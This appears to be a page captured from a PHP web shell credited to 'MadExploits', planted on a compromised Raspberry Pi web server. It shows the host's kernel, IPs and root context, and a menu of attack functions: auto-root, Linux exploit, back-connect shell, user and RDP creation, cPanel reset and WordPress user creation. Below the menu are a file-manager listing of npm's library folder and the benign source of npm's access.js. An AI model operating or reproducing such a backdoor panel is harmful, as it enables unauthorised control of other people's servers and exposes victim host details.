Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
auth
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
doctor
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
utils
[ DIR ]
drwxr-xr-x
access.js
3.23
KB
-rw-r--r--
adduser.js
1.28
KB
-rw-r--r--
bin.js
515
B
-rw-r--r--
bugs.js
879
B
-rw-r--r--
build.js
4.45
KB
-rw-r--r--
cache.js
4.43
KB
-rw-r--r--
ci.js
771
B
-rw-r--r--
completion.js
7.06
KB
-rw-r--r--
config.js
7.22
KB
-rw-r--r--
dedupe.js
4.84
KB
-rw-r--r--
deprecate.js
1.41
KB
-rw-r--r--
dist-tag.js
3.67
KB
-rw-r--r--
docs.js
1.05
KB
-rw-r--r--
doctor.js
3.97
KB
-rw-r--r--
edit.js
985
B
-rw-r--r--
explore.js
1.63
KB
-rw-r--r--
fetch-package-metadata.js
3.96
KB
-rw-r--r--
get.js
235
B
-rw-r--r--
help-search.js
5.65
KB
-rw-r--r--
help.js
6.32
KB
-rw-r--r--
init.js
1.26
KB
-rw-r--r--
install-test.js
507
B
-rw-r--r--
install.js
33.67
KB
-rw-r--r--
link.js
5.56
KB
-rw-r--r--
logout.js
1.1
KB
-rw-r--r--
ls.js
15.83
KB
-rw-r--r--
npm.js
13.3
KB
-rw-r--r--
outdated.js
12.15
KB
-rw-r--r--
owner.js
7.55
KB
-rw-r--r--
pack.js
7.39
KB
-rw-r--r--
ping.js
688
B
-rw-r--r--
prefix.js
330
B
-rw-r--r--
profile.js
11.14
KB
-rw-r--r--
prune.js
2.23
KB
-rw-r--r--
publish.js
6.1
KB
-rw-r--r--
rebuild.js
2.09
KB
-rw-r--r--
repo.js
1.45
KB
-rw-r--r--
restart.js
64
B
-rw-r--r--
root.js
316
B
-rw-r--r--
run-script.js
5.18
KB
-rw-r--r--
search.js
3.15
KB
-rw-r--r--
set.js
276
B
-rw-r--r--
shrinkwrap.js
7.92
KB
-rw-r--r--
star.js
1.17
KB
-rw-r--r--
stars.js
1.1
KB
-rw-r--r--
start.js
62
B
-rw-r--r--
stop.js
61
B
-rw-r--r--
substack.js
509
B
-rw-r--r--
team.js
1.41
KB
-rw-r--r--
test.js
324
B
-rw-r--r--
token.js
6.91
KB
-rw-r--r--
unbuild.js
4.11
KB
-rw-r--r--
uninstall.js
2.22
KB
-rw-r--r--
unpublish.js
3.55
KB
-rw-r--r--
update.js
2.18
KB
-rw-r--r--
version.js
9.36
KB
-rw-r--r--
view.js
9.26
KB
-rw-r--r--
visnup.js
4.01
KB
-rw-r--r--
whoami.js
1.42
KB
-rw-r--r--
xmas.js
1.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : access.js
'use strict' var resolve = require('path').resolve var readPackageJson = require('read-package-json') var mapToRegistry = require('./utils/map-to-registry.js') var npm = require('./npm.js') var output = require('./utils/output.js') var whoami = require('./whoami') module.exports = access access.usage = 'npm access public [<package>]\n' + 'npm access restricted [<package>]\n' + 'npm access grant <read-only|read-write> <scope:team> [<package>]\n' + 'npm access revoke <scope:team> [<package>]\n' + 'npm access ls-packages [<user>|<scope>|<scope:team>]\n' + 'npm access ls-collaborators [<package> [<user>]]\n' + 'npm access edit [<package>]' access.subcommands = ['public', 'restricted', 'grant', 'revoke', 'ls-packages', 'ls-collaborators', 'edit'] access.completion = function (opts, cb) { var argv = opts.conf.argv.remain if (argv.length === 2) { return cb(null, access.subcommands) } switch (argv[2]) { case 'grant': if (argv.length === 3) { return cb(null, ['read-only', 'read-write']) } else { return cb(null, []) } case 'public': case 'restricted': case 'ls-packages': case 'ls-collaborators': case 'edit': return cb(null, []) case 'revoke': return cb(null, []) default: return cb(new Error(argv[2] + ' not recognized')) } } function access (args, cb) { var cmd = args.shift() var params return parseParams(cmd, args, function (err, p) { if (err) { return cb(err) } params = p return mapToRegistry(params.package, npm.config, invokeCmd) }) function invokeCmd (err, uri, auth, base) { if (err) { return cb(err) } params.auth = auth try { return npm.registry.access(cmd, uri, params, function (err, data) { if (!err && data) { output(JSON.stringify(data, undefined, 2)) } cb(err, data) }) } catch (e) { cb(e.message + '\n\nUsage:\n' + access.usage) } } } function parseParams (cmd, args, cb) { // mapToRegistry will complain if package is undefined, // but it's not needed for ls-packages var params = { 'package': '' } if (cmd === 'grant') { params.permissions = args.shift() } if (['grant', 'revoke', 'ls-packages'].indexOf(cmd) !== -1) { var entity = (args.shift() || '').split(':') params.scope = entity[0] params.team = entity[1] } if (cmd === 'ls-packages') { if (!params.scope) { whoami([], true, function (err, scope) { params.scope = scope cb(err, params) }) } else { cb(null, params) } } else { getPackage(args.shift(), function (err, pkg) { if (err) return cb(err) params.package = pkg if (cmd === 'ls-collaborators') params.user = args.shift() cb(null, params) }) } } function getPackage (name, cb) { if (name && name.trim()) { cb(null, name.trim()) } else { readPackageJson( resolve(npm.prefix, 'package.json'), function (err, data) { if (err) { if (err.code === 'ENOENT') { cb(new Error('no package name passed to command and no package.json found')) } else { cb(err) } } else { cb(null, data.name) } } ) } }
Close